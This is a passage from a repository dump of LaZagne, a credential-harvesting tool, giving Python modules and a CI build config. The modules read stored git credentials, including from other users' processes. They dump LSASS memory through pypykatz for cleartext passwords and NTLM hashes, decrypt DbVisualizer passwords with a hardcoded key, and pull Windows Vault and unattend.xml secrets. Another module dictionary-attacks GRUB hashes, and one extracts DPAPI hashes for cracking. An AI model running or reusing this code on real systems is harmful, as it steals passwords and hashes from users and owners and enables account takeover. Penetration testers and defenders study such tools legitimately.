52 | 'Name': [0x4c, ['array', 1, ['unsigned short']]],
53 | }],
54 | '_CM_KEY_INDEX': [0x8, {
55 | 'Signature': [0x0, ['unsigned short']],
56 | 'Count': [0x2, ['unsigned short']],
57 | 'List': [0x4, ['array', 1, ['unsigned long']]],
58 | }],
59 | '_CHILD_LIST': [0x8, {
60 | 'Count': [0x0, ['unsigned long']],
61 | 'List': [0x4, ['unsigned long']],
62 | }],
63 | }
64 |
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/softwares/git/gitforlinux.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | import os
3 | import psutil
4 |
5 | try:
6 | from urlparse import urlparse, unquote
7 | except ImportError:
8 | from urllib.parse import urlparse, unquote
9 |
10 | from lazagne.config.module_info import ModuleInfo
11 | from lazagne.config import homes
12 |
13 |
14 | class GitForLinux(ModuleInfo):
15 | def __init__(self):
16 | ModuleInfo.__init__(self, 'gitforlinux', 'git')
17 |
18 | def extract_credentials(self, location):
19 | """
20 | Extract the credentials from a Git store file.
21 | See "https://git-scm.com/docs/git-credential-store" for file format.
22 |
23 | :param location: Full path to the Git store file
24 | :return: List of credentials founds
25 | """
26 | pwd_found = []
27 | if os.path.isfile(location):
28 | with open(location) as f:
29 | # One line have the following format: https://user:pass@example.com
30 | for cred in f:
31 | if len(cred) > 0:
32 | parts = urlparse(cred)
33 | pwd_found.append((
34 | unquote(parts.geturl().replace(parts.username + ":" + parts.password + "@", "").strip()),
35 | unquote(parts.username),
36 | unquote(parts.password)
37 | ))
38 |
39 | return pwd_found
40 |
41 | def run(self):
42 | """
43 | Main function
44 | """
45 | known_locations = set()
46 |
47 | # According to the "git-credential-store" documentation:
48 | # Build a list of locations in which git credentials can be stored
49 |
50 | # Apply the password extraction on the defined locations
51 | pwd_found = []
52 | for location in homes.get(file=[u'.git-credentials', u'.config/git/credentials']):
53 | pwd_found += self.extract_credentials(location)
54 | known_locations.add(location)
55 |
56 | # Read Env variable from another user
57 | for process in psutil.process_iter():
58 | try:
59 | environ = process.environ()
60 | except Exception:
61 | continue
62 |
63 | for var in ('XDG_CONFIG_HOME', ):
64 | if var not in environ or environ[var] in known_locations:
65 | continue
66 |
67 | # Env variable found
68 | location = environ[var]
69 | known_locations.add(location)
70 | pwd_found += self.extract_credentials(os.path.join(location, 'git/credentials'))
71 |
72 | # Filter duplicates
73 | return [{'URL': url, 'Login': login, 'Password': password} for url, login, password in set(pwd_found)]
74 |
--------------------------------------------------------------------------------
/Tools/.travis.yml:
--------------------------------------------------------------------------------
1 | os: linux
2 | language: python
3 |
4 | lint_steps: &lint_steps
5 | before_install:
6 | - pip install --upgrade pip
7 | - pip install flake8
8 | script: flake8 . --count --select=E9,F63,F72,F82 --show-source --statistics
9 |
10 | matrix:
11 | include:
12 | - name: "Test and deploy on Python 2.7"
13 | python: '2.7'
14 | - name: "Build on Python 2.7 on macOS"
15 | os: osx
16 | language: shell # 'language: python' is not yet supported on Travis CI macOS
17 | before_install:
18 | - python -m pip install --upgrade pip
19 | - pip install pyinstaller -r requirements.txt
20 | script:
21 | - pyinstaller --onefile Mac/laZagne.py
22 | - ls -l dist # See file size (4.8 mb), etc.
23 | - dist/laZagne all
24 | - name: "Lint on Python 2.7"
25 | python: '2.7'
26 | <<: *lint_steps
27 | - name: "Lint on Python 3.7"
28 | python: '3.7'
29 | dist: xenial # required for Python >= 3.7
30 | <<: *lint_steps
31 |
32 | before_install:
33 | - sudo add-apt-repository ppa:ubuntu-wine/ppa -y
34 | - sudo apt-get update -qq
35 | - sudo apt-get install -qq wine
36 | - wget https://www.python.org/ftp/python/2.7.16/python-2.7.16.amd64.msi --output-document=python.msi
37 | - wine msiexec /i python.msi /qn
38 | - wget https://files.pythonhosted.org/packages/83/cc/2e39fa39b804f7b6e768a37657d75eb14cd917d1f43f376dad9f7c366ccf/pywin32-224-cp27-cp27m-win_amd64.whl --output-document=pywin32-224-cp27-none-win_amd64.whl
39 | - wine c:\\Python27\\python.exe -m pip install pywin32-224-cp27-none-win_amd64.whl
40 | - wine c:\\Python27\\python.exe -m pip install pyinstaller -r requirements.txt
41 | - wine c:\\Python27\\Scripts\\pyinstaller --noconsole --onefile Windows/lazagne.spec
42 | - ls -l dist # See file size (4.8 mb), etc.
43 | install: true # do not repeat `pip install -r requirements.txt`
44 | script:
45 | - wine Z:\\home\\travis\\build\\AlessandroZ\\LaZagne\\dist\\laZagne.exe all
46 | before_deploy:
47 | - tar -zcvf lazagne.tar.gz dist/lazagne.exe
48 | deploy:
49 | provider: releases
50 | skip_cleanup: true
51 | overwrite: true
52 | api_key:
53 | secure: TDw9TTOMSJ+zMOVVrEcCCKG+6eDzrfOPz3dUN6EM0QgDZ0gstsf3T24JIV0wsZQYwY5ceYBlZu33/6Rb62b8U/tOaZXYSy9LWmFzqSRH15RvLBBA+2PtbojYNZw1YymGSiG2GBuNHu0VlkDvR/ogTvJ8lY731MPdxUdXibJMfsBVcoKped0ss+cXsKZV0C8FYz3RU6EJsx0oDLHJmLn30Lji1DA7nTO/SJ5AX6ZD7Qp34/YlwkWdih/x0v8uYUfqsiuqNhmfVcheJua7JaFlfwuJj1IDT0UDVaFQn+xkxkK+Bn+h7qjOUOKYzUEfxh78Q6iDd1YtCETR0NPTlNeDDv6LfJoP9gsE68WWBAFhijnRvF084yN1ciQ1Ch+hITANgpcF2cmMg8Tu+YLeYDWfLi8/G7u4TYAQ7Pmvce6PweP9sQ6WGvsC2H+6xNEAjMCdMoCldPfaDdGprIGtx3DD8NyqyVL6S31HkJ5gcPUcarqjGvUVWETkVUVuAQp9pgdYyx52SHifB0tbvie9NkjVdRjBCy3Oxp5bZvdzj19bAEGWu6QFwZibAtHXDq6IdsmKefktrUQd5QUbx0/Y0gpnMuD5ghSoUVdxA9FY8CyD853R13nMLJN5LedV6TFjx/8DgHRIATBSoiLi8L6/fdZAG0yeH/lBcqbLfTM6tLS5HBo=
54 | file:
55 | - dist/lazagne.exe
56 | - lazagne.tar.gz
57 | on:
58 | tags: true
59 | all_branches: true
60 | repo: AlessandroZ/LaZagne
61 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/windows/ppypykatz.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | # Thanks to @skelsec for his awesome tool Pypykatz
4 | # Checks his project here: https://github.com/skelsec/pypykatz
5 |
6 | import codecs
7 | import traceback
8 |
9 | from lazagne.config.module_info import ModuleInfo
10 | from lazagne.config.constant import constant
11 | from pypykatz.pypykatz import pypykatz
12 |
13 |
14 | class Pypykatz(ModuleInfo):
15 | """
16 | Pypykatz dumps all secrets from the lsass.exe memory
17 | It does not work if:
18 | - LSASS is running as a protected process
19 | - A security product blocks this access
20 | """
21 |
22 | def __init__(self):
23 | ModuleInfo.__init__(self, 'pypykatz', 'windows', system_module=True)
24 |
25 | def run(self):
26 | mimi = None
27 | try:
28 | mimi = pypykatz.go_live()
29 | except Exception:
30 | self.debug(traceback.format_exc())
31 |
32 | if mimi:
33 | results = {}
34 | logon_sessions = mimi.to_dict().get('logon_sessions', [])
35 | for logon_session in logon_sessions:
36 |
37 | # Right now kerberos_creds, dpapi_creds results are not used
38 | user = logon_sessions[logon_session]
39 |
40 | # Get cleartext password
41 | for i in ['credman_creds', 'ssp_creds', 'livessp_creds', 'tspkg_creds', 'wdigest_creds']:
42 | for data in user.get(i, []):
43 | if all((data['username'], data['password'])):
44 | login = data['username']
45 | if login not in results:
46 | results[login] = {}
47 |
48 | results[login]['Type'] = i
49 | results[login]['Domain'] = data.get('domainname', 'N/A')
50 | results[login]['Password'] = data['password']
51 |
52 | # msv_creds to get sha1 user hash
53 | for data in user.get('msv_creds', []):
54 | if data['username']:
55 | login = data['username']
56 | else:
57 | login = user['username']
58 |
59 | if login not in results:
60 | results[login] = {}
61 |
62 | if data['SHAHash']:
63 | results[login]['Shahash'] = codecs.encode(data['SHAHash'], 'hex')
64 | if data['LMHash']:
65 | results[login]['Lmhash'] = codecs.encode(data['LMHash'], 'hex')
66 | if data['NThash']:
67 | results[login]['Nthash'] = codecs.encode(data['NThash'], 'hex')
68 |
69 | constant.pypykatz_result = results
70 | pwd_found = []
71 | for user in results:
72 | results[user]['Login'] = user
73 | pwd_found.append(results[user])
74 |
75 | return pwd_found
76 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/databases/dbvis.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | import array
3 | import base64
4 | import binascii
5 | import hashlib
6 | import os
7 | import re
8 | from xml.etree.cElementTree import ElementTree
9 |
10 | from lazagne.config.constant import constant
11 | from lazagne.config.crypto.pyDes import des, CBC
12 | from lazagne.config.module_info import ModuleInfo
13 |
14 |
15 | class Dbvisualizer(ModuleInfo):
16 | def __init__(self):
17 | ModuleInfo.__init__(self, name='dbvis', category='databases')
18 |
19 | self._salt = self.get_salt()
20 | self._passphrase = 'qinda'
21 | self._iteration = 10
22 |
23 | def get_salt(self):
24 | salt_array = [-114, 18, 57, -100, 7, 114, 111, 90]
25 | salt = array.array('b', salt_array)
26 | hexsalt = binascii.hexlify(salt)
27 | return binascii.unhexlify(hexsalt)
28 |
29 | def get_derived_key(self, password, salt, count):
30 | key = bytearray(password) + salt
31 |
32 | for i in range(count):
33 | m = hashlib.md5(key)
34 | key = m.digest()
35 | return key[:8], key[8:]
36 |
37 | def decrypt(self, msg):
38 | enc_text = base64.b64decode(msg)
39 | (dk, iv) = self.get_derived_key(self._passphrase, self._salt, self._iteration)
40 | crypter = des(dk, CBC, iv)
41 | text = crypter.decrypt(enc_text)
42 | return re.sub(r'[\x01-\x08]', '', text)
43 |
44 | def run(self):
45 | path = os.path.join(constant.profile['HOMEPATH'], u'.dbvis', u'config70', u'dbvis.xml')
46 | if os.path.exists(path):
47 | tree = ElementTree(file=path)
48 |
49 | pwd_found = []
50 | elements = {'Alias': 'Name', 'Userid': 'Login', 'Password': 'Password', 'UrlVariables//Driver': 'Driver'}
51 |
52 | for e in tree.findall('Databases/Database'):
53 | values = {}
54 | for elem in elements:
55 | try:
56 | if elem != "Password":
57 | values[elements[elem]] = e.find(elem).text
58 | else:
59 | values[elements[elem]] = self.decrypt(e.find(elem).text)
60 | except Exception:
61 | pass
62 |
63 | try:
64 | elem = e.find('UrlVariables')
65 | for ee in elem.getchildren():
66 | for ele in ee.getchildren():
67 | if 'Server' == ele.attrib['UrlVariableName']:
68 | values['Host'] = str(ele.text)
69 | if 'Port' == ele.attrib['UrlVariableName']:
70 | values['Port'] = str(ele.text)
71 | if 'SID' == ele.attrib['UrlVariableName']:
72 | values['SID'] = str(ele.text)
73 | except Exception:
74 | pass
75 |
76 | if values:
77 | pwd_found.append(values)
78 |
79 | return pwd_found
80 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/windows/vault.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | from lazagne.config.module_info import ModuleInfo
3 | from lazagne.config.winstructure import *
4 | from ctypes.wintypes import *
5 |
6 |
7 | class Vault(ModuleInfo):
8 | def __init__(self):
9 | ModuleInfo.__init__(self, 'vault', 'windows', only_from_current_user=True)
10 |
11 | def run(self):
12 |
13 | # retrieve passwords (IE, etc.) using the Windows Vault API
14 | if float(get_os_version()) < 6.1:
15 | self.info(u'Vault not supported for this OS')
16 | return
17 |
18 | cbVaults = DWORD()
19 | vaults = LPGUID()
20 | hVault = HANDLE(INVALID_HANDLE_VALUE)
21 | cbItems = DWORD()
22 | items_buf = c_char_p()
23 | pwd_found = []
24 |
25 | if vaultEnumerateVaults(0, byref(cbVaults), byref(vaults)) == 0:
26 | if cbVaults.value == 0:
27 | self.debug(u'No Vaults found')
28 | return
29 | else:
30 | VAULT_ITEM_WIN, PVAULT_ITEM_WIN, VaultGetItemFunc = get_vault_objects_for_this_version_of_windows()
31 | for i in range(cbVaults.value):
32 | if vaultOpenVault(byref(vaults[i]), 0, byref(hVault)) == 0:
33 | if hVault:
34 | if vaultEnumerateItems(hVault, 0x200, byref(cbItems), byref(items_buf)) == 0:
35 |
36 | for j in range(cbItems.value):
37 |
38 | items = cast(items_buf, POINTER(VAULT_ITEM_WIN))
39 | pPasswordVaultItem = PVAULT_ITEM_WIN()
40 | try:
41 | values = {
42 | 'URL': str(items[j].pResource.contents.data.string),
43 | 'Login': str(items[j].pUsername.contents.data.string)
44 | }
45 | if items[j].pName:
46 | values['Name'] = items[j].pName
47 |
48 | if VaultGetItemFunc(hVault, items[j], pPasswordVaultItem) == 0:
49 |
50 | password = pPasswordVaultItem.contents.pPassword.contents.data.string
51 | # Remove password too long
52 | if password and len(password) < 100:
53 | values['Password'] = password
54 |
55 | pwd_found.append(values)
56 |
57 | except Exception as e:
58 | self.debug(e)
59 |
60 | if pPasswordVaultItem:
61 | vaultFree(pPasswordVaultItem)
62 |
63 | if items_buf:
64 | vaultFree(items_buf)
65 |
66 | vaultCloseVault(byref(hVault))
67 |
68 | vaultFree(vaults)
69 |
70 | return pwd_found
71 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/config/users.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # !/usr/bin/python
3 | import os
4 | import ctypes
5 | import sys
6 |
7 | from lazagne.config.winstructure import get_os_version
8 | from lazagne.config.constant import constant
9 |
10 |
11 | def get_user_list_on_filesystem(impersonated_user=[]):
12 | """
13 | Get user list to retrieve their passwords
14 | """
15 | # Check users existing on the system (get only directories)
16 | user_path = u'{drive}:\\Users'.format(drive=constant.drive)
17 | if float(get_os_version()) < 6:
18 | user_path = u'{drive}:\\Documents and Settings'.format(drive=constant.drive)
19 |
20 | all_users = []
21 | if os.path.exists(user_path):
22 | all_users = [filename for filename in os.listdir(user_path) if os.path.isdir(os.path.join(user_path, filename))]
23 |
24 | # Remove default users
25 | for user in ['All Users', 'Default User', 'Default', 'Public', 'desktop.ini']:
26 | if user in all_users:
27 | all_users.remove(user)
28 |
29 | # Removing user that have already been impersonated
30 | for imper_user in impersonated_user:
31 | if imper_user in all_users:
32 | all_users.remove(imper_user)
33 |
34 | return all_users
35 |
36 |
37 | def set_env_variables(user, to_impersonate=False):
38 | # Restore template path
39 | template_path = {
40 | 'APPDATA': u'{drive}:\\Users\\{user}\\AppData\\Roaming\\',
41 | 'USERPROFILE': u'{drive}:\\Users\\{user}\\',
42 | 'HOMEDRIVE': u'{drive}:',
43 | 'HOMEPATH': u'{drive}:\\Users\\{user}',
44 | 'ALLUSERSPROFILE': u'{drive}:\\ProgramData',
45 | 'COMPOSER_HOME': u'{drive}:\\Users\\{user}\\AppData\\Roaming\\Composer\\',
46 | 'LOCALAPPDATA': u'{drive}:\\Users\\{user}\\AppData\\Local',
47 | }
48 |
49 | constant.profile = template_path
50 | if not to_impersonate:
51 | # Get value from environment variables
52 | for env in constant.profile:
53 | if os.environ.get(env):
54 | try:
55 | constant.profile[env] = os.environ.get(env).decode(sys.getfilesystemencoding())
56 | except Exception:
57 | constant.profile[env] = os.environ.get(env)
58 |
59 | # Replace "drive" and "user" with the correct values
60 | for env in constant.profile:
61 | constant.profile[env] = constant.profile[env].format(drive=constant.drive, user=user)
62 |
63 |
64 | def get_username_winapi():
65 | GetUserNameW = ctypes.windll.advapi32.GetUserNameW
66 | GetUserNameW.argtypes = [ctypes.c_wchar_p, ctypes.POINTER(ctypes.c_uint)]
67 | GetUserNameW.restype = ctypes.c_uint
68 |
69 | _buffer = ctypes.create_unicode_buffer(1)
70 | size = ctypes.c_uint(len(_buffer))
71 | while not GetUserNameW(_buffer, ctypes.byref(size)):
72 | # WinError.h
73 | # define ERROR_INSUFFICIENT_BUFFER 122L // dderror
74 | if ctypes.GetLastError() == 122:
75 | _buffer = ctypes.create_unicode_buffer(len(_buffer)*2)
76 | size.value = len(_buffer)
77 |
78 | else:
79 | return os.getenv('username') # Unusual error
80 |
81 | return _buffer.value
82 |
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/softwares/databases/dbvis.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | import binascii
5 | import hashlib
6 | import base64
7 | import array
8 | import re
9 | import os
10 |
11 | from xml.etree.cElementTree import ElementTree
12 |
13 | from lazagne.config.module_info import ModuleInfo
14 | from lazagne.config.crypto.pyDes import des, CBC
15 | from lazagne.config import homes
16 |
17 |
18 | class DbVisualizer(ModuleInfo):
19 | def __init__(self):
20 | ModuleInfo.__init__(self, 'dbvis', 'databases')
21 | self._salt = self.get_salt()
22 | self._passphrase = 'qinda'
23 | self._iteration = 10
24 |
25 | def get_salt(self):
26 | salt_array = [-114, 18, 57, -100, 7, 114, 111, 90]
27 | salt = array.array('b', salt_array)
28 | hexsalt = binascii.hexlify(salt)
29 | return binascii.unhexlify(hexsalt)
30 |
31 | def get_derived_key(self, password, salt, count):
32 | key = bytearray(password) + salt
33 |
34 | for i in range(count):
35 | m = hashlib.md5(key)
36 | key = m.digest()
37 | return (key[:8], key[8:])
38 |
39 | def decrypt(self, msg):
40 | enc_text = base64.b64decode(msg)
41 | (dk, iv) = self.get_derived_key(self._passphrase, self._salt, self._iteration)
42 | crypter = des(dk, CBC, iv)
43 | text = crypter.decrypt(enc_text)
44 | return re.sub(r'[\x01-\x08]', '', text)
45 |
46 | def run(self):
47 |
48 | pwd_found = []
49 |
50 | for home in homes.get(directory=u'.dbvis'):
51 | path = os.path.join(home, u'config70', u'dbvis.xml')
52 |
53 | if os.path.exists(path):
54 | tree = ElementTree(file=path)
55 |
56 | elements = {'Alias': 'Name', 'Userid': 'Login', 'Password': 'Password',
57 | 'UrlVariables//Driver': 'Driver'}
58 |
59 | for e in tree.findall('Databases/Database'):
60 | values = {}
61 | for elem in elements:
62 | try:
63 | if elem != "Password":
64 | values[elements[elem]] = e.find(elem).text
65 | else:
66 | values[elements[elem]] = self.decrypt(e.find(elem).text)
67 | except Exception:
68 | pass
69 |
70 | try:
71 | elem = e.find('UrlVariables')
72 | for ee in elem.getchildren():
73 | for ele in ee.getchildren():
74 | if 'Server' == ele.attrib['UrlVariableName']:
75 | values['Host'] = str(ele.text)
76 | if 'Port' == ele.attrib['UrlVariableName']:
77 | values['Port'] = str(ele.text)
78 | if 'SID' == ele.attrib['UrlVariableName']:
79 | values['SID'] = str(ele.text)
80 | except Exception:
81 | pass
82 |
83 | if values:
84 | pwd_found.append(values)
85 |
86 | return pwd_found
87 |
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/softwares/sysadmin/grub.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 | import crypt
4 | import os
5 |
6 | from lazagne.config.module_info import ModuleInfo
7 | from lazagne.config.dico import get_dic
8 |
9 |
10 | class Grub(ModuleInfo):
11 |
12 | def __init__(self):
13 | ModuleInfo.__init__(self, 'grub', 'sysadmin')
14 |
15 | def dictionary_attack(self, crypt_pwd):
16 | dic = get_dic() # By default 500 most famous passwords are used for the dictionary attack
17 |
18 | if '$' not in crypt_pwd:
19 | # Either malformed or old bcrypt password
20 | return False
21 |
22 | hash_type = crypt_pwd.split("$")[1]
23 | hash_algo = {
24 | '1': 'MD5',
25 | }
26 |
27 | # For Debug information
28 | for h_type in hash_algo:
29 | if h_type == hash_type:
30 | self.debug('[+] Hash type {algo} detected ...'.format(algo=hash_algo[h_type]))
31 |
32 | real_salt = '${hash_type}${salt}$'.format(hash_type=hash_type, salt=crypt_pwd.split("$")[2])
33 |
34 | # -------------------------- Dictionary attack --------------------------
35 | self.info('Dictionary Attack on the hash !!! ')
36 | try:
37 | for word in dic:
38 | try:
39 | crypt_word = crypt.crypt(word, real_salt)
40 | if crypt_word == crypt_pwd:
41 | return word
42 | except Exception as e:
43 | pass
44 |
45 | except (KeyboardInterrupt, SystemExit):
46 | self.debug(u'Dictionary attack interrupted')
47 |
48 | return False
49 |
50 | def run(self):
51 | pwd_found = []
52 | grub_conf_files = [u'/boot/grub/menu.lst', u'/boot/grub/grub.conf', u'/boot/grub/grub.cfg']
53 | for grub_file in grub_conf_files:
54 | if os.path.exists(grub_file):
55 | conf = open(grub_file).read()
56 | user, password = '', ''
57 | if conf.partition('password --md5 ')[1] == 'password --md5 ':
58 | hash = conf.partition('password --md5 ')[2].partition('\n')[0]
59 | result = self.dictionary_attack(hash)
60 | if result:
61 | pwd_found.append({
62 | 'Password': result
63 | })
64 | else:
65 | # No clear text password found - save hash
66 | pwd_found.append({
67 | 'Hash': hash
68 | })
69 | elif conf.partition('password ')[1] == 'password ':
70 | password = conf.partition('password ')[2].partition(' ')[2].partition('\n')[0]
71 | pwd_found.append({
72 | 'Login': user,
73 | 'Password': password
74 | })
75 | elif conf.partition('password_pbkdf2 ')[1] == 'password_pbkdf2 ':
76 | user = conf.partition('password_pbkdf2 ')[2].partition(' ')[0]
77 | hash = conf.partition('password_pbkdf2 ')[2].partition(' ')[2].partition('\n')[0]
78 | pwd_found.append({
79 | 'Login': user,
80 | 'Hash': hash
81 | })
82 |
83 | return pwd_found
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/sysadmin/unattended.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | import base64
4 |
5 | from xml.etree.cElementTree import ElementTree
6 |
7 | from lazagne.config.module_info import ModuleInfo
8 | from lazagne.config.constant import constant
9 | from lazagne.config.winstructure import string_to_unicode
10 |
11 | import os
12 |
13 |
14 | class Unattended(ModuleInfo):
15 | def __init__(self):
16 | ModuleInfo.__init__(self, 'unattended', 'sysadmin', system_module=True)
17 |
18 | # Password should be encoded in b64
19 | def try_b64_decode(self, message):
20 | try:
21 | return base64.b64decode(message)
22 | except Exception:
23 | return message
24 |
25 | def run(self):
26 |
27 | windir = os.path.join(constant.profile['HOMEDRIVE'], string_to_unicode(os.sep), u'Windows')
28 | files = [
29 | 'Panther\\Unattend.xml',
30 | 'Panther\\Unattended.xml',
31 | 'Panther\\Unattend\\Unattended.xml',
32 | 'Panther\\Unattend\\Unattend.xml',
33 | 'System32\\Sysprep\\unattend.xml',
34 | 'System32\\Sysprep\\Panther\\unattend.xml'
35 | ]
36 |
37 | pwd_found = []
38 | xmlns = '{urn:schemas-microsoft-com:unattend}'
39 | for file in files:
40 | path = os.path.join(windir, string_to_unicode(file))
41 | if os.path.exists(path):
42 | self.debug(u'Unattended file found: %s' % path)
43 | tree = ElementTree(file=path)
44 | root = tree.getroot()
45 |
46 | for setting in root.findall('%ssettings' % xmlns):
47 | component = setting.find('%scomponent' % xmlns)
48 |
49 | auto_logon = component.find('%sauto_logon' % xmlns)
50 | if auto_logon:
51 | username = auto_logon.find('%sUsername' % xmlns)
52 | password = auto_logon.find('%sPassword' % xmlns)
53 | if all((username, password)):
54 | # Remove false positive (with following message on password => *SENSITIVE*DATA*DELETED*)
55 | if 'deleted' not in password.text.lower():
56 | pwd_found.append({
57 | 'Login': username.text,
58 | 'Password': self.try_b64_decode(password.text)
59 | })
60 |
61 | user_accounts = component.find('%suser_accounts' % xmlns)
62 | if user_accounts:
63 | local_accounts = user_accounts.find('%slocal_accounts' % xmlns)
64 | if local_accounts:
65 | for local_account in local_accounts.findall('%slocal_account' % xmlns):
66 | username = local_account.find('%sName' % xmlns)
67 | password = local_account.find('%sPassword' % xmlns)
68 | if all((username, password)):
69 | if 'deleted' not in password.text.lower():
70 | pwd_found.append({
71 | 'Login': username.text,
72 | 'Password': self.try_b64_decode(password.text)
73 | })
74 |
75 | return pwd_found
76 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/windows/windows.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | try:
3 | import _winreg as winreg
4 | except ImportError:
5 | import winreg
6 |
7 | from lazagne.config.module_info import ModuleInfo
8 | from lazagne.config.winstructure import OpenKey, HKEY_LOCAL_MACHINE
9 | from lazagne.config.constant import constant
10 | from lazagne.config.users import get_username_winapi
11 |
12 |
13 | class WindowsPassword(ModuleInfo):
14 | def __init__(self):
15 | ModuleInfo.__init__(self, 'windows', 'windows')
16 | self.current_user = get_username_winapi()
17 |
18 | def is_in_domain(self):
19 | """
20 | Return the context of the host
21 | If a domain controller is set we are in an active directory.
22 | """
23 | try:
24 | key = OpenKey(HKEY_LOCAL_MACHINE, r'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\')
25 | val, _ = winreg.QueryValueEx(key, 'DCName')
26 | winreg.CloseKey(key)
27 | return val
28 | except Exception:
29 | return False
30 |
31 | def run(self):
32 | """
33 | - Check if the user password has already be found using Pypykatz
34 | - If not, check if a password stored in another application is also used as windows password
35 | - Windows password not found, return the DPAPI hash (not admin priv needed) to bruteforce using John or Hashcat
36 | """
37 | # Check if password has already been found
38 | if constant.pypykatz_result.get(self.current_user, None):
39 | if 'Password' in constant.pypykatz_result[self.current_user]:
40 | # Password already printed on the Pypykatz module - do not print it again
41 | self.info('User has already be found: {password}'.format(
42 | password=constant.pypykatz_result[self.current_user]['Password'])
43 | )
44 | return
45 |
46 | # Password not already found
47 | pwd_found = []
48 | if constant.user_dpapi and constant.user_dpapi.unlocked:
49 | # Check if a password already found is a windows password
50 | password = constant.user_dpapi.get_cleartext_password()
51 | if password:
52 | pwd_found.append({
53 | 'Login': constant.username,
54 | 'Password': password
55 | })
56 | else:
57 | # Retrieve dpapi hash used to bruteforce (hash can be retrieved without needed admin privilege)
58 | # Method taken from Jean-Christophe Delaunay - @Fist0urs
59 | # https://www.synacktiv.com/ressources/univershell_2017_dpapi.pdf
60 |
61 | self.info(
62 | u'Windows passwords not found.\n'
63 | u'Try to bruteforce this hash (using john or hashcat)'
64 | )
65 | if constant.user_dpapi:
66 | context = 'local'
67 | if self.is_in_domain():
68 | context = 'domain'
69 |
70 | h = constant.user_dpapi.get_dpapi_hash(context=context)
71 | if h:
72 | pwd_found.append({
73 | 'Dpapi_hash_{context}'.format(context=context): constant.user_dpapi.get_dpapi_hash(
74 | context=context)
75 | })
76 |
77 | return pwd_found
78 |
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/config/lib/memorpy/Locator.py:
--------------------------------------------------------------------------------
1 | # Author: Nicolas VERDIER
2 | # This file is part of memorpy.
3 | #
4 | # memorpy is free software: you can redistribute it and/or modify
5 | # it under the terms of the GNU General Public License as published by
6 | # the Free Software Foundation, either version 3 of the License, or
7 | # (at your option) any later version.
8 | #
9 | # memorpy is distributed in the hope that it will be useful,
10 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | # GNU General Public License for more details.
13 | #
14 | # You should have received a copy of the GNU General Public License
15 | # along with memorpy. If not, see .
16 |
17 | import copy
18 | import time
19 | import struct
20 |
21 | from .Address import Address
22 |
23 |
24 | class Locator(object):
25 | """
26 | take a memoryworker and a type to search
27 | then you can feed the locator with values and it will reduce the addresses possibilities
28 | """
29 |
30 | def __init__(self, mw, type = 'unknown', start = None, end = None):
31 | self.mw = mw
32 | self.type = type
33 | self.last_iteration = {}
34 | self.last_value = None
35 | self.start = start
36 | self.end = end
37 |
38 | def find(self, value, erase_last = True):
39 | return self.feed(value, erase_last)
40 |
41 | def feed(self, value, erase_last = True):
42 | self.last_value = value
43 | new_iter = copy.copy(self.last_iteration)
44 | if self.type == 'unknown':
45 | all_types = ['uint',
46 | 'int',
47 | 'long',
48 | 'ulong',
49 | 'float',
50 | 'double',
51 | 'short',
52 | 'ushort']
53 | else:
54 | all_types = [self.type]
55 | for type in all_types:
56 | if type not in new_iter:
57 | try:
58 | new_iter[type] = [ Address(x, self.mw.process, type) for x in self.mw.mem_search(value, type, start_offset=self.start, end_offset=self.end) ]
59 | except struct.error:
60 | new_iter[type] = []
61 | else:
62 | l = []
63 | for address in new_iter[type]:
64 | try:
65 | found = self.mw.process.read(address, type)
66 | if int(found) == int(value):
67 | l.append(Address(address, self.mw.process, type))
68 | except Exception as e:
69 | pass
70 |
71 | new_iter[type] = l
72 |
73 | if erase_last:
74 | del self.last_iteration
75 | self.last_iteration = new_iter
76 | return new_iter
77 |
78 | def get_addresses(self):
79 | return self.last_iteration
80 |
81 | def diff(self, erase_last = False):
82 | return self.get_modified_addr(erase_last)
83 |
84 | def get_modified_addr(self, erase_last = False):
85 | last = self.last_iteration
86 | new = self.feed(self.last_value, erase_last=erase_last)
87 | ret = {}
88 | for type, l in last.iteritems():
89 | typeset = set(new[type])
90 | for addr in l:
91 | if addr not in typeset:
92 | if type not in ret:
93 | ret[type] = []
94 | ret[type].append(addr)
95 |
96 | return ret
97 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/config/lib/memorpy/Locator.py:
--------------------------------------------------------------------------------
1 | # Author: Nicolas VERDIER
2 | # This file is part of memorpy.
3 | #
4 | # memorpy is free software: you can redistribute it and/or modify
5 | # it under the terms of the GNU General Public License as published by
6 | # the Free Software Foundation, either version 3 of the License, or
7 | # (at your option) any later version.
8 | #
9 | # memorpy is distributed in the hope that it will be useful,
10 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | # GNU General Public License for more details.
13 | #
14 | # You should have received a copy of the GNU General Public License
15 | # along with memorpy. If not, see .
16 |
17 | import copy
18 | import time
19 | import struct
20 |
21 | from .Address import Address
22 |
23 |
24 | class Locator(object):
25 | """
26 | take a memoryworker and a type to search
27 | then you can feed the locator with values and it will reduce the addresses possibilities
28 | """
29 |
30 | def __init__(self, mw, type = 'unknown', start = None, end = None):
31 | self.mw = mw
32 | self.type = type
33 | self.last_iteration = {}
34 | self.last_value = None
35 | self.start = start
